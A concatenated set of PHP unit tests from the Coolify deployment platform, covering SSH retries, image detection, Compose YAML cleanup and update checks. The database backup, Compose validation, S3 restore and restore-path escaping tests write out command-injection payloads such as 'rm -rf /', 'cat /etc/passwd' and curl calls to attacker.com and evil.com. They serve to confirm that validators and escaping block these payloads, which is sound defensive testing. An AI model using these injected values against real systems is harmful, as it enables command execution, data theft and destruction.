return $this->calculateRetryDelay($attempt);
}
};
// Test with default config values
config(['constants.ssh.retry_base_delay' => 2]);
config(['constants.ssh.retry_max_delay' => 30]);
config(['constants.ssh.retry_multiplier' => 2]);
// Attempt 0: 2 seconds
$this->assertEquals(2, $handler->test_calculate_retry_delay(0));
// Attempt 1: 4 seconds
$this->assertEquals(4, $handler->test_calculate_retry_delay(1));
// Attempt 2: 8 seconds
$this->assertEquals(8, $handler->test_calculate_retry_delay(2));
// Attempt 3: 16 seconds
$this->assertEquals(16, $handler->test_calculate_retry_delay(3));
// Attempt 4: Should be capped at 30 seconds
$this->assertEquals(30, $handler->test_calculate_retry_delay(4));
// Attempt 5: Should still be capped at 30 seconds
$this->assertEquals(30, $handler->test_calculate_retry_delay(5));
}
public function test_retry_succeeds_after_failures()
{
$attemptCount = 0;
config(['constants.ssh.max_retries' => 3]);
// Simulate a function that fails twice then succeeds using the public static method
$result = SshRetryHandler::retry(
function () use (&$attemptCount) {
$attemptCount++;
if ($attemptCount < 3) {
throw new \RuntimeException('kex_exchange_identification: Connection reset by peer');
}
return 'success';
},
['test' => 'retry_test'],
true
);
$this->assertEquals('success', $result);
$this->assertEquals(3, $attemptCount);
}
public function test_retry_fails_after_max_attempts()
{
$attemptCount = 0;
config(['constants.ssh.max_retries' => 3]);
$this->expectException(\RuntimeException::class);
$this->expectExceptionMessage('Connection reset by peer');
// Simulate a function that always fails using the public static method
SshRetryHandler::retry(
function () use (&$attemptCount) {
$attemptCount++;
throw new \RuntimeException('Connection reset by peer');
},
['test' => 'retry_test'],
true
);
}
public function test_non_retryable_errors_fail_immediately()
{
$attemptCount = 0;
config(['constants.ssh.max_retries' => 3]);
$this->expectException(\RuntimeException::class);
$this->expectExceptionMessage('Command not found');
try {
// Simulate a non-retryable error using the public static method
SshRetryHandler::retry(
function () use (&$attemptCount) {
$attemptCount++;
throw new \RuntimeException('Command not found');
},
['test' => 'non_retryable_test'],
true
);
} catch (\RuntimeException $e) {
// Should only attempt once since it's not retryable
$this->assertEquals(1, $attemptCount);
throw $e;
}
}
}
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/PostgRESTDetectionTest.php | tests/Unit/PostgRESTDetectionTest.php | <?php
test('postgrest image is detected as application not database', function () {
$result = isDatabaseImage('postgrest/postgrest:latest');
expect($result)->toBeFalse();
});
test('postgrest image with version is detected as application', function () {
$result = isDatabaseImage('postgrest/postgrest:v12.0.2');
expect($result)->toBeFalse();
});
test('postgrest with registry prefix is detected as application', function () {
$result = isDatabaseImage('ghcr.io/postgrest/postgrest:latest');
expect($result)->toBeFalse();
});
test('regular postgres image is still detected as database', function () {
$result = isDatabaseImage('postgres:15');
expect($result)->toBeTrue();
});
test('postgres with registry prefix is detected as database', function () {
$result = isDatabaseImage('docker.io/library/postgres:15');
expect($result)->toBeTrue();
});
test('postgres image with service config is detected correctly', function () {
$serviceConfig = [
'image' => 'postgres:15',
'environment' => [
'POSTGRES_PASSWORD=secret',
],
];
$result = isDatabaseImage('postgres:15', $serviceConfig);
expect($result)->toBeTrue();
});
test('postgrest without service config is still detected as application', function () {
$result = isDatabaseImage('postgrest/postgrest', null);
expect($result)->toBeFalse();
});
test('supabase postgres-meta is detected as application', function () {
$result = isDatabaseImage('supabase/postgres-meta:latest');
expect($result)->toBeFalse();
});
test('mysql image is detected as database', function () {
$result = isDatabaseImage('mysql:8.0');
expect($result)->toBeTrue();
});
test('redis image is detected as database', function () {
$result = isDatabaseImage('redis:7');
expect($result)->toBeTrue();
});
test('timescale timescaledb is detected as database', function () {
$result = isDatabaseImage('timescale/timescaledb:latest');
expect($result)->toBeTrue();
});
test('mariadb is detected as database', function () {
$result = isDatabaseImage('mariadb:10.11');
expect($result)->toBeTrue();
});
test('mongodb is detected as database', function () {
$result = isDatabaseImage('mongo:7');
expect($result)->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DatabaseBackupSecurityTest.php | tests/Unit/DatabaseBackupSecurityTest.php | <?php
/**
* Database Backup Security Tests
*
* Tests to ensure database backup functionality is protected against
* command injection attacks via malicious database names.
*
* Related Issues: #2 in security_issues.md
* Related Files: app/Jobs/DatabaseBackupJob.php, app/Livewire/Project/Database/BackupEdit.php
*/
test('database backup rejects command injection in database name with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with semicolon separator', function () {
expect(fn () => validateShellSafePath('test; rm -rf /', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with pipe operator', function () {
expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('test`whoami`', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('test & whoami', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name'))
->toThrow(Exception::class);
});
test('database backup rejects command injection with newlines', function () {
expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name'))
->toThrow(Exception::class);
});
test('database backup escapes shell arguments properly', function () {
$database = "test'db";
$escaped = escapeshellarg($database);
expect($escaped)->toBe("'test'\\''db'");
});
test('database backup escapes shell arguments with double quotes', function () {
$database = 'test"db';
$escaped = escapeshellarg($database);
expect($escaped)->toBe("'test\"db'");
});
test('database backup escapes shell arguments with spaces', function () {
$database = 'test database';
$escaped = escapeshellarg($database);
expect($escaped)->toBe("'test database'");
});
test('database backup accepts legitimate database names', function () {
expect(fn () => validateShellSafePath('postgres', 'database name'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('my_database', 'database name'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('db-prod', 'database name'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test123', 'database name'))
->not->toThrow(Exception::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php | tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php | <?php
use Symfony\Component\Yaml\Yaml;
/**
* Unit tests to verify that empty top-level sections (volumes, configs, secrets)
* are removed from generated Docker Compose files.
*
* Empty sections like "volumes: { }" are not valid/clean YAML and should be omitted
* when they contain no actual content.
*/
it('ensures parsers.php filters empty top-level sections', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that filtering logic exists
expect($parsersFile)
->toContain('Remove empty top-level sections')
->toContain('->filter(function ($value, $key)');
});
it('verifies YAML dump produces empty objects for empty arrays', function () {
// Demonstrate the problem: empty arrays serialize as empty objects
$data = [
'services' => ['web' => ['image' => 'nginx']],
'volumes' => [],
'configs' => [],
'secrets' => [],
];
$yaml = Yaml::dump($data, 10, 2);
// Empty arrays become empty objects in YAML
expect($yaml)->toContain('volumes: { }');
expect($yaml)->toContain('configs: { }');
expect($yaml)->toContain('secrets: { }');
});
it('verifies YAML dump omits keys that are not present', function () {
// Demonstrate the solution: omit empty keys entirely
$data = [
'services' => ['web' => ['image' => 'nginx']],
// Don't include volumes, configs, secrets at all
];
$yaml = Yaml::dump($data, 10, 2);
// Keys that don't exist are not in the output
expect($yaml)->not->toContain('volumes:');
expect($yaml)->not->toContain('configs:');
expect($yaml)->not->toContain('secrets:');
expect($yaml)->toContain('services:');
});
it('verifies collection filter removes empty items', function () {
// Test Laravel Collection filter behavior
$collection = collect([
'services' => collect(['web' => ['image' => 'nginx']]),
'volumes' => collect([]),
'networks' => collect(['coolify' => ['external' => true]]),
'configs' => collect([]),
'secrets' => collect([]),
]);
$filtered = $collection->filter(function ($value, $key) {
// Always keep services
if ($key === 'services') {
return true;
}
// Keep only non-empty collections
return $value->isNotEmpty();
});
// Should have services and networks (non-empty)
expect($filtered)->toHaveKey('services');
expect($filtered)->toHaveKey('networks');
// Should NOT have volumes, configs, secrets (empty)
expect($filtered)->not->toHaveKey('volumes');
expect($filtered)->not->toHaveKey('configs');
expect($filtered)->not->toHaveKey('secrets');
});
it('verifies filtered collections serialize cleanly to YAML', function () {
// Full test: filter then serialize
$collection = collect([
'services' => collect(['web' => ['image' => 'nginx']]),
'volumes' => collect([]),
'networks' => collect(['coolify' => ['external' => true]]),
'configs' => collect([]),
'secrets' => collect([]),
]);
$filtered = $collection->filter(function ($value, $key) {
if ($key === 'services') {
return true;
}
return $value->isNotEmpty();
});
$yaml = Yaml::dump($filtered->toArray(), 10, 2);
// Should have services and networks
expect($yaml)->toContain('services:');
expect($yaml)->toContain('networks:');
// Should NOT have empty sections
expect($yaml)->not->toContain('volumes:');
expect($yaml)->not->toContain('configs:');
expect($yaml)->not->toContain('secrets:');
});
it('ensures services section is always kept even if empty', function () {
// Services should never be filtered out
$collection = collect([
'services' => collect([]),
'volumes' => collect([]),
]);
$filtered = $collection->filter(function ($value, $key) {
if ($key === 'services') {
return true; // Always keep
}
return $value->isNotEmpty();
});
// Services should be present
expect($filtered)->toHaveKey('services');
// Volumes should be removed
expect($filtered)->not->toHaveKey('volumes');
});
it('verifies non-empty sections are preserved', function () {
// Non-empty sections should remain
$collection = collect([
'services' => collect(['web' => ['image' => 'nginx']]),
'volumes' => collect(['data' => ['driver' => 'local']]),
'networks' => collect(['coolify' => ['external' => true]]),
'configs' => collect(['app_config' => ['file' => './config']]),
'secrets' => collect(['db_password' => ['file' => './secret']]),
]);
$filtered = $collection->filter(function ($value, $key) {
if ($key === 'services') {
return true;
}
return $value->isNotEmpty();
});
// All sections should be present (none are empty)
expect($filtered)->toHaveKey('services');
expect($filtered)->toHaveKey('volumes');
expect($filtered)->toHaveKey('networks');
expect($filtered)->toHaveKey('configs');
expect($filtered)->toHaveKey('secrets');
// Count should be 5 (all original keys)
expect($filtered->count())->toBe(5);
});
it('verifies mixed empty and non-empty sections', function () {
// Mixed scenario: some empty, some not
$collection = collect([
'services' => collect(['web' => ['image' => 'nginx']]),
'volumes' => collect([]), // Empty
'networks' => collect(['coolify' => ['external' => true]]), // Not empty
'configs' => collect([]), // Empty
'secrets' => collect(['db_password' => ['file' => './secret']]), // Not empty
]);
$filtered = $collection->filter(function ($value, $key) {
if ($key === 'services') {
return true;
}
return $value->isNotEmpty();
});
// Should have: services, networks, secrets
expect($filtered)->toHaveKey('services');
expect($filtered)->toHaveKey('networks');
expect($filtered)->toHaveKey('secrets');
// Should NOT have: volumes, configs
expect($filtered)->not->toHaveKey('volumes');
expect($filtered)->not->toHaveKey('configs');
// Count should be 3
expect($filtered->count())->toBe(3);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/PreSaveValidationTest.php | tests/Unit/PreSaveValidationTest.php | <?php
test('validateDockerComposeForInjection blocks malicious service names', function () {
$maliciousCompose = <<<'YAML'
services:
evil`curl attacker.com`:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/pwn`curl attacker.com`:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '$(cat /etc/passwd):/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks pipes in service names', function () {
$maliciousCompose = <<<'YAML'
services:
web|cat /etc/passwd:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test; rm -rf /:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection allows legitimate compose files', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www/html:/usr/share/nginx/html
- app-data:/data
db:
image: postgres:15
volumes:
- db-data:/var/lib/postgresql/data
volumes:
app-data:
db-data:
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA_PATH}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA:-$(cat /etc/passwd)}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection requires services section', function () {
$invalidCompose = <<<'YAML'
version: '3'
networks:
mynet:
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
});
test('validateDockerComposeForInjection handles empty volumes array', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes: []
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
// YAML parser will reject this before our validation (which is good!)
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test > /etc/passwd:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection validates volume targets', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/safe:/app`curl attacker.com`'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection handles multiple services', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www:/usr/share/nginx/html
api:
image: node:18
volumes:
- /app/src:/usr/src/app
db:
image: postgres:15
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/S3RestoreSecurityTest.php | tests/Unit/S3RestoreSecurityTest.php | <?php
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
$escapedSecret = escapeshellarg($maliciousSecret);
// escapeshellarg should wrap in single quotes and escape any single quotes
expect($escapedSecret)->toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
// When used in a command, the shell metacharacters should be treated as literal strings
$command = "echo {$escapedSecret}";
// The dangerous part (";curl) is now safely inside single quotes
expect($command)->toContain("'secret"); // Properly quoted
expect($escapedSecret)->toStartWith("'"); // Starts with quote
expect($escapedSecret)->toEndWith("'"); // Ends with quote
// Test case 2: Endpoint with command injection
$maliciousEndpoint = 'https://s3.example.com";whoami;"';
$escapedEndpoint = escapeshellarg($maliciousEndpoint);
expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
// Test case 3: Key with destructive command
$maliciousKey = 'access-key";rm -rf /;echo "';
$escapedKey = escapeshellarg($maliciousKey);
expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
// Test case 4: Normal credentials should work fine
$normalSecret = 'MySecretKey123';
$normalEndpoint = 'https://s3.amazonaws.com';
$normalKey = 'AKIAIOSFODNN7EXAMPLE';
expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
$secret = 'SecretKey";rm -rf /tmp;echo "';
// Before fix (vulnerable):
// $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
// This would allow command injection because $endpoint and $key are not quoted,
// and $secret's double quotes can be escaped
// After fix (secure):
$escapedEndpoint = escapeshellarg($endpoint);
$escapedKey = escapeshellarg($key);
$escapedSecret = escapeshellarg($secret);
$secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
// Verify the secure command has properly escaped values
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
// Verify that the command injection attempts are neutered (they're literal strings now)
// The values are wrapped in single quotes, so shell metacharacters are treated as literals
// Check that all three parameters are properly quoted
expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
// Verify the dangerous parts are inside quotes (between the quote marks)
// The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
// Ensure we're NOT using the old vulnerable pattern with unquoted values
$vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
expect($secureCommand)->not->toContain($vulnerablePattern);
});
it('handles S3 secrets with single quotes correctly', function () {
// Test edge case: secret containing single quotes
// escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
$secretWithQuote = "my'secret'key";
$escaped = escapeshellarg($secretWithQuote);
// The expected output format is: 'my'\''secret'\''key'
// This is how escapeshellarg handles single quotes in the input
expect($escaped)->toBe("'my'\\''secret'\\''key'");
// Verify it would work in a command context
$containerName = 's3-restore-test';
$endpoint = escapeshellarg('https://s3.amazonaws.com');
$key = escapeshellarg('AKIATEST');
$command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/UpdateCoolifyTest.php | tests/Unit/UpdateCoolifyTest.php | <?php
use App\Actions\Server\UpdateCoolify;
use App\Models\InstanceSettings;
use App\Models\Server;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
beforeEach(function () {
// Mock Server
$this->mockServer = Mockery::mock(Server::class)->makePartial();
$this->mockServer->id = 0;
// Mock InstanceSettings
$this->settings = Mockery::mock(InstanceSettings::class);
$this->settings->is_auto_update_enabled = true;
$this->settings->shouldReceive('save')->andReturn(true);
});
afterEach(function () {
Mockery::close();
});
it('has UpdateCoolify action class', function () {
expect(class_exists(UpdateCoolify::class))->toBeTrue();
});
it('validates cache against running version before fallback', function () {
// Mock Server::find to return our mock server
Server::shouldReceive('find')
->with(0)
->andReturn($this->mockServer);
// Mock instanceSettings
$this->app->instance('App\Models\InstanceSettings', function () {
return $this->settings;
});
// CDN fails
Http::fake(['*' => Http::response(null, 500)]);
// Mock cache returning older version
Cache::shouldReceive('remember')
->andReturn(['coolify' => ['v4' => ['version' => '4.0.5']]]);
config(['constants.coolify.version' => '4.0.10']);
$action = new UpdateCoolify;
// Should throw exception - cache is older than running
try {
$action->handle(manual_update: false);
expect(false)->toBeTrue('Expected exception was not thrown');
} catch (\Exception $e) {
expect($e->getMessage())->toContain('cache version');
expect($e->getMessage())->toContain('4.0.5');
expect($e->getMessage())->toContain('4.0.10');
}
});
it('uses validated cache when CDN fails and cache is newer', function () {
// Mock Server::find
Server::shouldReceive('find')
->with(0)
->andReturn($this->mockServer);
// Mock instanceSettings
$this->app->instance('App\Models\InstanceSettings', function () {
return $this->settings;
});
// CDN fails
Http::fake(['*' => Http::response(null, 500)]);
// Cache has newer version than current
Cache::shouldReceive('remember')
->andReturn(['coolify' => ['v4' => ['version' => '4.0.10']]]);
config(['constants.coolify.version' => '4.0.5']);
// Mock the update method to prevent actual update
$action = Mockery::mock(UpdateCoolify::class)->makePartial();
$action->shouldReceive('update')->once();
$action->server = $this->mockServer;
\Illuminate\Support\Facades\Log::shouldReceive('warning')
->once()
->with('Failed to fetch fresh version from CDN, using validated cache', Mockery::type('array'));
// Should not throw - cache (4.0.10) > running (4.0.5)
$action->handle(manual_update: false);
expect($action->latestVersion)->toBe('4.0.10');
});
it('prevents downgrade even with manual update', function () {
// Mock Server::find
Server::shouldReceive('find')
->with(0)
->andReturn($this->mockServer);
// Mock instanceSettings
$this->app->instance('App\Models\InstanceSettings', function () {
return $this->settings;
});
// CDN returns older version
Http::fake([
'*' => Http::response([
'coolify' => ['v4' => ['version' => '4.0.0']],
], 200),
]);
// Current version is newer
config(['constants.coolify.version' => '4.0.10']);
$action = new UpdateCoolify;
\Illuminate\Support\Facades\Log::shouldReceive('error')
->once()
->with('Downgrade prevented', Mockery::type('array'));
// Should throw exception even for manual updates
try {
$action->handle(manual_update: true);
expect(false)->toBeTrue('Expected exception was not thrown');
} catch (\Exception $e) {
expect($e->getMessage())->toContain('Cannot downgrade');
expect($e->getMessage())->toContain('4.0.10');
expect($e->getMessage())->toContain('4.0.0');
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/RestoreJobFinishedShellEscapingTest.php | tests/Unit/RestoreJobFinishedShellEscapingTest.php | <?php
/**
* Security tests for shell metacharacter escaping in restore events.
*
* These tests verify that escapeshellarg() properly neutralizes shell injection
* attempts in paths that pass isSafeTmpPath() validation.
*/
describe('Shell metacharacter escaping in restore events', function () {
it('demonstrates that malicious paths can pass isSafeTmpPath but are neutralized by escapeshellarg', function () {
// This path passes isSafeTmpPath() validation (it's within /tmp/, no .., no null bytes)
$maliciousPath = "/tmp/file'; whoami; '";
// Path validation passes - it's a valid /tmp/ path
expect(isSafeTmpPath($maliciousPath))->toBeTrue();
// But when escaped, the shell metacharacters become literal strings
$escaped = escapeshellarg($maliciousPath);
// The escaped version wraps in single quotes and escapes internal single quotes
expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
// Building a command with escaped path is safe
$command = "rm -f {$escaped}";
// The command contains the quoted path, not an unquoted injection
expect($command)->toStartWith("rm -f '");
expect($command)->toEndWith("'");
});
it('escapes paths with semicolon injection attempts', function () {
$path = '/tmp/backup; rm -rf /; echo';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
// The semicolons are inside quotes, so they're treated as literals
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
});
it('escapes paths with backtick command substitution attempts', function () {
$path = '/tmp/backup`whoami`.sql';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
// Backticks inside single quotes are not executed
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
});
it('escapes paths with $() command substitution attempts', function () {
$path = '/tmp/backup$(id).sql';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
// $() inside single quotes is not executed
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
});
it('escapes paths with pipe injection attempts', function () {
$path = '/tmp/backup | cat /etc/passwd';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
// Pipe inside single quotes is treated as literal
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
});
it('escapes paths with newline injection attempts', function () {
$path = "/tmp/backup\nwhoami";
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
// Newline is preserved inside single quotes
expect($escaped)->toContain("\n");
expect($escaped)->toStartWith("'");
expect($escaped)->toEndWith("'");
});
it('handles normal paths without issues', function () {
$normalPaths = [
'/tmp/restore-backup.sql',
'/tmp/restore-script.sh',
'/tmp/database-dump-abc123.sql',
'/tmp/deeply/nested/path/to/file.sql',
];
foreach ($normalPaths as $path) {
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
// Normal paths are just wrapped in single quotes
expect($escaped)->toBe("'{$path}'");
}
});
it('escapes container names with injection attempts', function () {
// Container names are not validated by isSafeTmpPath, so escaping is critical
$maliciousContainer = 'container"; rm -rf /; echo "pwned';
$escaped = escapeshellarg($maliciousContainer);
expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
// Building a docker command with escaped container is safe
$command = "docker rm -f {$escaped}";
expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
});
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/NotifyOutdatedTraefikServersJobTest.php | tests/Unit/NotifyOutdatedTraefikServersJobTest.php | <?php
use App\Jobs\NotifyOutdatedTraefikServersJob;
it('has correct queue and retry configuration', function () {
$job = new NotifyOutdatedTraefikServersJob;
expect($job->tries)->toBe(3);
});
it('handles servers with null traefik_outdated_info gracefully', function () {
// Create a mock server with null traefik_outdated_info
$server = \Mockery::mock('App\Models\Server')->makePartial();
$server->traefik_outdated_info = null;
// Accessing the property should not throw an error
$result = $server->traefik_outdated_info;
expect($result)->toBeNull();
});
it('handles servers with traefik_outdated_info data', function () {
$expectedInfo = [
'current' => '3.5.0',
'latest' => '3.6.2',
'type' => 'minor_upgrade',
'upgrade_target' => 'v3.6',
'checked_at' => '2025-11-14T10:00:00Z',
];
$server = \Mockery::mock('App\Models\Server')->makePartial();
$server->traefik_outdated_info = $expectedInfo;
// Should return the outdated info
$result = $server->traefik_outdated_info;
expect($result)->toBe($expectedInfo);
});
it('handles servers with patch update info without upgrade_target', function () {
$expectedInfo = [
'current' => '3.5.0',
'latest' => '3.5.2',
'type' => 'patch_update',
'checked_at' => '2025-11-14T10:00:00Z',
];
$server = \Mockery::mock('App\Models\Server')->makePartial();
$server->traefik_outdated_info = $expectedInfo;
// Should return the outdated info without upgrade_target
$result = $server->traefik_outdated_info;
expect($result)->toBe($expectedInfo);
expect($result)->not->toHaveKey('upgrade_target');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ParseDockerVolumeStringTest.php | tests/Unit/ParseDockerVolumeStringTest.php | <?php
test('parses simple volume mappings', function () {
// Simple named volume
$result = parseDockerVolumeString('gitea:/data');
expect($result['source']->value())->toBe('gitea');
expect($result['target']->value())->toBe('/data');
expect($result['mode'])->toBeNull();
